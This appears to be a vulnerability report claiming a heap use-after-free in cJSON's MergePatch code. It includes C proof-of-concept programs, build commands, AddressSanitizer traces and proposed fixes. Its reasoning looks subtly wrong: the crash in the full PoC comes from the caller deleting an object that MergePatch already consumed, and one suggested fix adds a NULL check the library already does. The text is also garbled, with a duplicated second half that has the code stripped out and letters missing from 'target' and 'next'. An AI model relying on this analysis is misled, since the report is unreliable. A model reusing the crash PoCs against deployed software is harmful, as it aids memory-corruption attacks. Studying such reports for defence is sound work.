Description
A heap-use-after-free (UAF) exists in cJSON's RFC 7386 MergePatch implementation. When cJSONUtils_MergePatch() is called with a non-object patch (e.g., an array), the merge_patch() function in cJSON_Utils.c frees the arget object at line 1328, then calls cJSON_Duplicate(patch, 1) which internally calls cJSON_Duplicate_rec() at line 2808 of cJSON.c. The cJSON_Duplicate_rec() function dereferences item->type on the already-freed object: the freed heap memory gets reallocated for the duplicate tree, and the original freed memory region is then read, triggering a heap-use-after-free.
Previously reported vulnerabilities in cJSON (#1006, CVE-2024-31755, CVE-2023-50472, CVE-2023-50471) involve type confusion and buffer issues. This UAF in MergePatch is a distinct bug not found in existing CVE records or git history.
Vulnerability Details
Root Cause
File 1: cJSON_Utils.c, static function merge_patch(), lines 1321–1329.
static cJSON *merge_patch(cJSON *target, const cJSON * const patch, const cJSON_bool case_sensitive)
{
cJSON *patch_child = NULL;
if (!cJSON_IsObject(patch))
{
/* scalar value, array or NULL, just duplicate */
cJSON_Delete(target); // <--- (A) FREES target
return cJSON_Duplicate(patch, 1); // <--- (B) returns new object
}
...
}
File 2: cJSON.c, function cJSON_Duplicate() → cJSON_Duplicate_rec(), line 2808.
cJSON * cJSON_Duplicate_rec(const cJSON *item, size_t depth, cJSON_bool recuse)
{
cJSON *newitem = cJSON_New_Item(&global_hooks); // <--- may reuse freed memory
...
newitem->type = item->type & (~cJSON_IsReference); // LINE 2808: item->type is READ
...
/* Walk the ->next chain for the child. */
child = item->child; // <--- freed memory read
while (child != NULL) { ... child = child->next; }
The Bug: After cJSON_Delete(target) at (A), the freed memory may be reused by cJSON_New_Item() inside cJSON_Duplicate_rec() — or the original arget pointer (now dangling) is still passed through to other fields later in the call chain. Specifically, the vulnerable crash path in fuzz_target.c exercises:
cJSONUtils_GenerateMergePatch(json, target) → patch
cJSONUtils_MergePatch(json, patch)
→ merge_patch(json, patch, false)
→ cJSON_Delete(json) // line 1328: frees json
→ cJSON_Duplicate(patch, 1)
→ cJSON_Duplicate_rec(...)
→ line 2808: item->type on item inside freed json ← UAF READ
Call Chain (fuzzer-generated crash)
LLVMFuzzerTestOneInput (fuzz_target.c:31)
→ cJSON_ParseWithLength(data, size)
→ cJSON_Duplicate(json, 1) // fuzz_target.c:170
→ cJSONUtils_GenerateMergePatch(json, target) // fuzz_target.c:172
→ cJSONUtils_MergePatch(json, patch) // fuzz_target.c:176
→ merge_patch(json, patch, false) // cJSON_Utils.c:1383
→ cJSON_Delete(json) // cJSON_Utils.c:1328 (FREES)
→ cJSON_Duplicate(patch, 1) // cJSON_Utils.c:1329
→ cJSON_Duplicate_rec(patch, 0, 1) // cJSON.c:2785
→ newitem->type = item->type & ~... // cJSON.c:2808 (UAF READ)
Fix
The merge_patch() function should not free arget and then return a new object without considering that arget may share memory with other cJSON objects in the caller's context. Potential fix approaches:
Option A — Null-check arget before freeing (minimum):
if (!cJSON_IsObject(patch))
{
if (target != NULL) {
cJSON_Delete(target);
}
return cJSON_Duplicate(patch, 1);
}
Option B — Duplicate before delete (safer):
if (!cJSON_IsObject(patch))
{
cJSON *result = cJSON_Duplicate(patch, 1);
cJSON_Delete(target);
return result;
}
However, the more fundamental issue is that callers like cJSONUtils_GenerateMergePatch() may reference the same json object that merge_patch() frees. The caller code in cJSONUtils_MergePatch() (line 1381-1384) does:
CJSON_PUBLIC(cJSON *) cJSONUtils_MergePatch(cJSON *target, const cJSON * const patch)
{
return merge_patch(target, patch, false);
}
When arget is the same pointer as the root JSON parsed from user input, freeing it in merge_patch() invalidates the caller's reference. The caller in fuzz_target.c at line 176 passes json (also used at line 172 as the from argument to cJSONUtils_GenerateMergePatch), creating the use-after-free condition.
PoC
Minimal Input (libFuzzer corpus)
Hex bytes: 31 0a (ASCII: "1\n")
Base64: MQo=
This is a valid JSON number 1 followed by a newline. libFuzzer discovered this input through mutation within 10 seconds.
poc.c (Direct API Call — Minimal)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
int main(void) {
/* Create target: {"a": 1} */
cJSON *target = cJSON_CreateObject();
cJSON_AddNumberToObject(target, "a", 1);
/* Create non-object patch (array containing nested object) */
cJSON *patch = cJSON_CreateArray();
cJSON *nested = cJSON_CreateObject();
cJSON_AddNumberToObject(nested, "b", 2);
cJSON_AddItemToArray(patch, nested);
/* Trigger UAF: target freed then duplicate reads freed memory */
cJSON *result = cJSONUtils_MergePatch(target, patch);
if (result) cJSON_Delete(result);
cJSON_Delete(patch);
return 0;
}
Build & Run
clang -std=c99 -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I. poc.c cJSON.c cJSON_Utils.c -ldl -lm -o poc && ./poc
Note: The direct-API PoC triggers a UAF at cJSON_Delete line 258 when the
ext pointer is read from the freed object during cleanup. The more comprehensive crash via cJSONUtils_GenerateMergePatch + cJSONUtils_MergePatch (as in fuzz_target.c) triggers at cJSON_Duplicate_rec line 2808 as shown in the ASAN output below.
Full Crash Path PoC (Mirrors fuzzer)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
int main(void) {
const char *data = "1\n";
cJSON *json = cJSON_ParseWithLength(data, 2);
if (!json) return 1;
cJSON *target = cJSON_Duplicate(json, 1);
if (!target) { cJSON_Delete(json); return 1; }
cJSON *patch = cJSONUtils_GenerateMergePatch(json, target);
if (patch) {
cJSON *merged = cJSONUtils_MergePatch(json, patch);
if (merged) cJSON_Delete(merged);
cJSON_Delete(patch);
}
cJSON_Delete(target);
cJSON_Delete(json); /* <--- UAF: json already freed by merge_patch() */
return 0;
}
ASAN Output (Fuzzer, Docker Container)
==7==ERROR: AddressSanitizer: heap-use-after-free on address 0x[...] at pc 0x[...] bp 0x[...] sp 0x[...]
READ of size 4 at 0x[...] thread T0
#0 0x[...] in cJSON_Duplicate_rec /work/cJSON.c:2808:27
#1 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:192:19
#2 0x[...] in fuzzer::Fuzzer::ExecuteCallback (...)
#3 0x[...] in fuzzer::Fuzzer::RunOne (...)
#4 0x[...] in fuzzer::Fuzzer::MutateAndTestOne ()
#5 0x[...] in fuzzer::Fuzzer::Loop (...)
#6 0x[...] in fuzzer::FuzzerDriver (...)
#7 0x[...] in main (.../FuzzerMain.cpp:20:10)
#8 0x[...] in __libc_start_main
0x[...] is located 24 bytes inside of 64-byte region [0x[...],0x[...])
freed by thread T0 here:
#0 0x[...] in free (.../asan_malloc_linux.cpp:51:3)
#1 0x[...] in cJSON_Delete /work/cJSON.c:273:9
#2 0x[...] in merge_patch /work/cJSON_Utils.c:1328:9
#3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:176:26
previously allocated by thread T0 here:
#0 0x[...] in malloc (.../asan_malloc_linux.cpp:67:3)
#1 0x[...] in cJSON_New_Item /work/cJSON.c:243:27
#2 0x[...] in cJSON_ParseWithLengthOpts /work/cJSON.c:1166:12
#3 0x[...] in LLVMFuzzerTestOneInput /work/fuzz_target.c:31:12
SUMMARY: AddressSanitizer: heap-use-after-free /work/cJSON.c:2808:27 in cJSON_Duplicate_rec
Shadow bytes around the buggy address:
...
=>0x[...]: fa fa fa fa fd fd fd[fd]fd fd fd fd fa fa fa fa
...
Shadow byte legend: ...
Freed heap region: fd
ASAN Output (Standalone PoC, Host)
==404219==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000000080 at pc 0x5aa71421bcc4 bp 0x7fff1d1e9000 sp 0x7fff1d1e8ff8
READ of size 8 at 0x506000000080 thread T0
#0 0x5aa71421bcc3 in cJSON_Delete /root/.../cJSON.c:258:22
#1 0x5aa71421b82e in main /root/.../poc_cjson_fullpath.c:23:5
0x506000000080 is located 0 bytes inside of 64-byte region
freed by thread T0 here:
#1 0x5aa71421bf9e in cJSON_Delete /root/.../cJSON.c:273:9
#2 0x5aa71422de28 in merge_patch /root/.../cJSON_Utils.c:1328:9
#3 0x5aa71422ddde in cJSONUtils_MergePatch /root/.../cJSON_Utils.c:1383:12
#4 0x5aa71421b7fb in main /root/.../poc_cjson_fullpath.c:18:25
SUMMARY: AddressSanitizer: heap-use-after-free /root/.../cJSON.c:258:22 in cJSON_Delete
Description
A heap-use-after-free (UAF) exists in cJSON's RFC 7386 MergePatch implementation. When cJSONUtils_MergePatch() is called with a non-object patch (e.g., an array), the merge_patch() function in cJSON_Utils.c frees the arget object at line 1328, then calls cJSON_Duplicate(patch, 1) which internally calls cJSON_Duplicate_rec() at line 2808 of cJSON.c. The cJSON_Duplicate_rec() function dereferences item->type on the already-freed object: the freed heap memory gets reallocated for the duplicate tree, and the original freed memory region is then read, triggering a heap-use-after-free.
Previously reported vulnerabilities in cJSON (#1006, CVE-2024-31755, CVE-2023-50472, CVE-2023-50471) involve type confusion and buffer issues. This UAF in MergePatch is a distinct bug not found in existing CVE records or git history.
Vulnerability Details
Root Cause
File 1: cJSON_Utils.c, static function merge_patch(), lines 1321–1329.
File 2: cJSON.c, function cJSON_Duplicate() → cJSON_Duplicate_rec(), line 2808.
The Bug: After cJSON_Delete(target) at (A), the freed memory may be reused by cJSON_New_Item() inside cJSON_Duplicate_rec() — or the original arget pointer (now dangling) is still passed through to other fields later in the call chain. Specifically, the vulnerable crash path in fuzz_target.c exercises:
Call Chain (fuzzer-generated crash)
Fix
The merge_patch() function should not free arget and then return a new object without considering that arget may share memory with other cJSON objects in the caller's context. Potential fix approaches:
Option A — Null-check arget before freeing (minimum):
Option B — Duplicate before delete (safer):
However, the more fundamental issue is that callers like cJSONUtils_GenerateMergePatch() may reference the same json object that merge_patch() frees. The caller code in cJSONUtils_MergePatch() (line 1381-1384) does:
When arget is the same pointer as the root JSON parsed from user input, freeing it in merge_patch() invalidates the caller's reference. The caller in fuzz_target.c at line 176 passes json (also used at line 172 as the from argument to cJSONUtils_GenerateMergePatch), creating the use-after-free condition.
PoC
Minimal Input (libFuzzer corpus)
Hex bytes: 31 0a (ASCII: "1\n")
Base64: MQo=
This is a valid JSON number 1 followed by a newline. libFuzzer discovered this input through mutation within 10 seconds.
poc.c (Direct API Call — Minimal)
Build & Run
clang -std=c99 -g -O0 -fsanitize=address -fno-omit-frame-pointer \ -I. poc.c cJSON.c cJSON_Utils.c -ldl -lm -o poc && ./pocNote: The direct-API PoC triggers a UAF at cJSON_Delete line 258 when the
ext pointer is read from the freed object during cleanup. The more comprehensive crash via cJSONUtils_GenerateMergePatch + cJSONUtils_MergePatch (as in fuzz_target.c) triggers at cJSON_Duplicate_rec line 2808 as shown in the ASAN output below.
Full Crash Path PoC (Mirrors fuzzer)
ASAN Output (Fuzzer, Docker Container)
ASAN Output (Standalone PoC, Host)